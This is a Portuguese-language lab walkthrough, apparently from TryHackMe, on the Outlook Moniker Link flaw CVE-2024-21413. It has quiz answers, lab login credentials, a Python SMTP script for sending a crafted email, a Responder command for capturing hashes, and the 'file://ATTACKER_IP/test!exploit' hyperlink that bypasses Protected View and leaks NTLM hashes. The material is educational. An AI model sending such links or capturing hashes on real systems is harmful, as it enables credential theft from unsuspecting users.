
Exploit educacional para CVE-2024-21413 (Moniker Link) demonstrando RCE no Outlook e vazamento de credenciais NTLM por meio de hiperlinks maliciosos, com orientações de detecção e remediação.
Em 13 de fevereiro de 2024, a Microsoft anunciou uma vulnerabilidade de RCE e vazamento de credenciais no Microsoft Outlook, à qual foi atribuída a CVE-2024-21413 (Moniker Link). Haifei Li, da Check Point Research, é creditado pela descoberta da vulnerabilidade.
A vulnerabilidade contorna os mecanismos de segurança do Outlook ao lidar com um tipo específico de hiperlink conhecido como Moniker Link. Um atacante pode abusar disso enviando um e-mail que contém um Moniker Link malicioso para uma vítima, fazendo com que o Outlook envie as credenciais NTLM do usuário ao atacante assim que o hiperlink for clicado.
Detalhes relacionados à pontuação da vulnerabilidade são fornecidos na tabela abaixo:
CVSS Descrição Data de publicação 13 de fevereiro de 2024 Artigo da MS https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2024-21413 Impacto Execução Remota de Código & Vazamento de Credenciais Severidade Critical Complexidade do ataque Low Pontuação 9.8
Sabe-se que a vulnerabilidade afeta as seguintes versões do Office:
Lançamento Versão Microsoft Office LTSC 2021 afetado a partir de 19.0.0 Microsoft 365 Apps for Enterprise afetado a partir de 16.0.1 Microsoft Office 2019 afetado a partir de 16.0.1 Microsoft Office 2016 afetado a partir de 16.0.0 antes de 16.0.5435.1001
Observe que você precisará do AttackBox e da máquina vulnerável anexados a esta tarefa. Para implantar a VM anexada, pressione o botão verde Start Machine abaixo.
Nome de usuário tryhackme Senha Kkh3gv439dnq!
Qual foi a classificação de "Severidade" atribuída à CVE? > ANSWER : Critical
O Outlook pode renderizar e-mails como HTML. Você pode notar isso sendo usado pelos seus boletins informativos favoritos. Além disso, o Outlook pode processar hiperlinks como HTTP e HTTPS. No entanto, ele também pode abrir URLs que especificam aplicativos conhecidos como Moniker Links. Normalmente, o Outlook exibirá um aviso de segurança quando aplicativos externos forem acionados.
A Protected View do Outlook é acionada ao iniciar um aplicativo externo
Este pop-up é um resultado da "Protected View" do Outlook. A Protected View abre e-mails que contêm anexos, hiperlinks e conteúdo semelhante em modo somente leitura, bloqueando coisas como macros (especialmente de fora de uma organização).
Ao usar o Moniker Link file:// em nosso hiperlink, podemos instruir o Outlook a tentar acessar um arquivo, como um arquivo em um compartilhamento de rede (<a href="file://ATTACKER_IP/test">Click me</a>). O protocolo SMB é usado, o que envolve o uso de credenciais locais para autenticação. No entanto, a "Protected View" do Outlook intercepta e bloqueia essa tentativa.
A vulnerabilidade aqui existe ao modificar nosso hiperlink para incluir o caractere especial ! e algum texto em nosso Moniker Link, o que resulta no contorno da Protected View do Outlook. Por exemplo: <a href="file://ATTACKER_IP/test!exploit">Click me</a>.
Nós, como atacantes, podemos fornecer um Moniker Link dessa natureza para o ataque. Observe que o compartilhamento não precisa existir no dispositivo remoto, pois uma tentativa de autenticação será feita de qualquer forma, fazendo com que o hash netNTLMv2 do Windows da vítima seja enviado ao atacante.
A Execução Remota de Código (RCE) é possível porque os Moniker Links usam o Component Object Model (COM) no Windows. No entanto, explicar isso está atualmente fora do escopo desta sala, pois não há nenhuma prova de conceito divulgada publicamente para alcançar RCE por meio desta CVE específica.
Qual tipo de Moniker Link usamos no hiperlink? > ANSWER : file:// Qual é o caractere especial usado para contornar a "Protected View" do Outlook? > ANSWER : !
Para este ataque, enviaremos à nossa vítima um e-mail com um Moniker Link semelhante ao fornecido na tarefa anterior. O objetivo, como atacante, é criar um e-mail para a vítima com um Moniker Link que contorne a "Protected View" do Outlook, no qual o cliente da vítima tentará carregar um arquivo de nossa máquina atacante, resultando na captura do hash netNTLMv2 da vítima.
Mas primeiro, vamos examinar uma PoC que criei (que também está disponível no GitHub).
''' Author: CMNatic | https://github.com/cmnatic Version: 1.0 | 19/02/2024 ''' import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.utils import formataddr sender_email = '[email protected]' # Replace with your sender email address receiver_email = '[email protected]' # Replace with the recipient email address password = input("Enter your attacker email password: ") html_content = """\ """ message = MIMEMultipart() message['Subject'] = "CVE-2024-21413" message["From"] = formataddr(('CMNatic', sender_email)) message["To"] = receiver_email # Convert the HTML string into bytes and attach it to the message object msgHtml = MIMEText(html_content,'html') message.attach(msgHtml) server = smtplib.SMTP('MAILSERVER', 25) server.ehlo() try: server.login(sender_email, password) except Exception as err: print(err) exit(-1) try: server.sendmail(sender_email, [receiver_email], message.as_string()) print("\n Email delivered") except Exception as error: print(error) finally: server.quit()
A PoC:
Vamos usar o Responder para criar um listener SMB em nossa máquina atacante. Para o AttackBox da THM, a interface será -I ens5. O nome da interface será diferente se você estiver usando seu próprio dispositivo (ou seja, Kali). Se quiser uma tarefa extra, um servidor Impacket também pode ser usado.
Iniciando o Responder em nosso AttackBox
root@attackbox:# responder -I ens5
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.1.0
Author: Laurent Gaffie ([email protected])
To kill this script hit CTRL-C
-- cut for brevity --
[+] Listening for events...
Vamos abrir a máquina vulnerável pressionando o painel "CVE-2024-21413" na visualização de tela dividida.